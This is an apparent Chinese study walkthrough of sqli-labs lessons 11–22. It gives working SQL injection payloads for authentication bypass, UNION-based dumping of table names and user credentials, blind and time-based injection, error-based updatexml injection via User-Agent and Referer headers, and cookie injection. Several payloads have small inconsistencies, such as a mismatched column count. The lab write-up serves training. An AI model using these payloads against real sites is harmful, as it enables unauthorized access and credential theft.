- 注1:从现在less11开始,进入post的世界了,前十关都是get请求,post请求在网址上看不见,要开Burpsuit等工具可以看到。下面为为了方便,都以F12中的抓包方式来查看表单
一.less11
1.通过查看表单中的信息可以知道,less11的请求就只有简单的username和password,并且值就是我们在输入框输入的值
2.假设我们已经存在账号admin,常时通过逻辑改写使用万能密码:
username框中输入 admin'#
password框随便输
原理:
#显然,单引号构造了admin的闭合,然后后面的代码都被注释掉了
select username,password from xx where username=admin'# and password='xx'
3.测试列数
在账号框中输入如下内容,order by 2的时候能正确返回,3的时候不返回
admin' order by 3#
admin' order by 2#
* 结论:表中数据有两列*
union注入获取数据
注意:这里username必须是不存在的,否则会正常输出admin,然后联合查询,这样的话username和password就会对应查找到联合查询的值
Username:1admin'union select 1,database()# passwd=1(任意密码)
*由此我们可以发现,把账号名按章上面的格式输入,密码随便输,可以回显想要的数据。找到注入点后,可以开始获取敏感数据了,获取数据库名,接着获取表名,然后获取列名,最后把整个列的数据爆破出来 *
下面做一下完整演示,只写username框的内容(其实这些语句前面已经讲过了,less1中有给出爆数据库中各个数据的方法,重点在于找到注入点):
- 1.获取当前数据库名
1admin'union select 1,database()# passwd=1(任意密码)
- 2.获取所有表名(由1知数据库名security)
1admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#
- 2.获取所有表名(由1知数据库名security)
3.获取user表中所有数据
1admin union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
4.爆数据
把id=2的username和password找出来
1adimin union select 1,username,password from users where id=2 --+
二.less12
双引号单括号闭合: (“admin”),其余不变
三.less13
1.首先测试 admin ,发现由报错
所以判断出是单引号+单括号的闭合: (‘admin’)
登陆成功的用户名:
admin')#
2.当登陆成功时,页面不会由任何数据回显,但是会显示successfully,所以判断这是布尔盲注,盲注手法不再赘述
四.less14
依旧是盲注
本题重点还判断是闭合类型
1.首先测试单引号’,发现没有报错回显,测试”,有报错回显
判断出是双引号闭合:”admin”
admin"#
其他的同less13
五.less15
本关没有任何提示,在猜测闭合类型的时候,只能慢慢试(本关是单引号闭合)
思路:
可以用下面四种最基础的闭合方式试试哪种能实现万能登陆
admin1' or 1=1# (这关这里可以过)
admi1n') or 1=1#
admi1n" or 1=1#
admi1n") or 1=1#
用延时注入进行猜解,不赘述
六.less16
同less15,本关的闭合类型是双引号+单括号闭合,测试方法和其余的地方同less15
七,less17
本关username被经过特殊处理不能在此处注入(check_input函数会对username进行处理),所以只能考虑在password处注入,这样的话username必须要是存在的,我们给admin,本关依旧是盲注,手法同上不再赘述,登陆成功和失败有不同响应
其实这个函数的大致原理就是取除非法字符,比如单引号,双引号,反斜杠,null
以延时注入猜解为例
username:admin
password:11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
七.总结(less11-17)
步骤:
1.先通过尝试构造闭合,测试自己构造的payload能否执行,比如username和密码乱输然后后面加 or 1=1,测试是否能登陆成功,如果登陆成功则构造闭合成功
2.构造成功后,判断注入手法:
less11-12都会在登陆成功时输出登陆成功的账号密码,所以可以依靠这个输出敏感信息.
less13-16都是盲注只能猜解,其中less13-14有报错提示,less15到16没有,只有登陆成功和登陆失败的提示,所以后者只能慢慢尝试构造闭合
less17的username在代码层面进行了特殊处理所以不能用username来注入,在password处注入手法同username,但是用户名一定要是存在的
八.less18
本关对username和password全部进行check_input的处理,所以不能通过构造闭合在不登陆成功的情况下进行注入了
下面是输入正确账号密码时的回显结果
回显useragent和ip地址
从源码中我们找到了这句插入的sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
插入的sql语句表示向uagents这张表中插入uagent(也就是User-Agent),ip,username
通过上面的分析,我们知道可以在请求头处对useragent进行注入然后靠回显出我们想要的信息
这里推荐使用火狐的插件 ModHeader,可以直接对请求头进行构造
构造方法(直接往ModHeader中加入下面其中依据代码然后正确登陆界面):
#下面concat中的第二个参数随便改,可以用子查询,用less1中爆库语句来获取所有想要的信息
' or updatexml(1,concat(0x7e,database()),1) or '1'='1
' or updatexml(1,concat(0x7e,database()),1),'','')#
注:values中不能用子查询,语法错误,所以这里需要使用报错注入不能直接select
分析:对于values中的 ‘$uagent’,左右有两个单引号,所以在上面的代码中第一个’是为了构造闭合,然后对对于上面的第一个式子,or 要执行的标量表达式 or ‘1’=’1,其中最后一个1没有手动加右单引号,这样原先的的右单引号才能形成闭合,也就是’1’=’1’。第二个式子是直接自己构造全部的values,然后把原先的注释掉了(less19中详细讲这种方法)
补充:关于updatexm的想借可以看
https://blog.csdn.net/weixin_43326436/article/details/106525909
updatexml的用法
下面是天书中的简要概述,可以翻回去看,concat中的参数至少要两个
extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
九.less19
本关输入正确的账号密码后显示的内容:
本关和less18几乎一样,只不过把useragent改成了referers,这两项都是在请求头里的我们可以通过手动更改,手法同less18,不再赘述
网页源码
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
以获取数据库名为例子(无意中发现了一个问题):
#下面三个都可以(在less18中同理也行)
'or updatexml(1,concat(0x7e,database()),1),'','')#
'or updatexml(1,concat(0x7e,database()),1),'')#
'or updatexml(1,concat(0x7e,database()),1))#
上面三种写法都可行的原因:我猜测是因为在用updatexml函数进行报错后下面的代码可能就不执行了
十.less20
本关开始是对cookie信息的注入来获取信息
推荐插件:cookie edit
cookie的uname里原先的admin,我们直接构造闭合然后联合注入
'union select 1,2,database()#
十一:less21
本关依旧是cookie注入,但是cookie的值经过了base64位加密(大部分cookie会采用的手法)
http://tools.bugscaner.com/base64/
注:不是所有的网站解码都是正确的,有一些是有问题的,可以找几个网站做一下循环验证
本关在cookie中注入下面的编码会报错
'union select 1,2,database()#
通过报错信息易得应该是单引号+单括号闭合,正解如下,就
')union select 1,2,database()#
十二.less22
本关同less11,只不过改成了双引号闭合而已,同昂需要加密
"union select 1,2,database()#
十三.总结(less18-22)
手法总结:
- 1.cookie非加密注入
- 2.cookie加密注入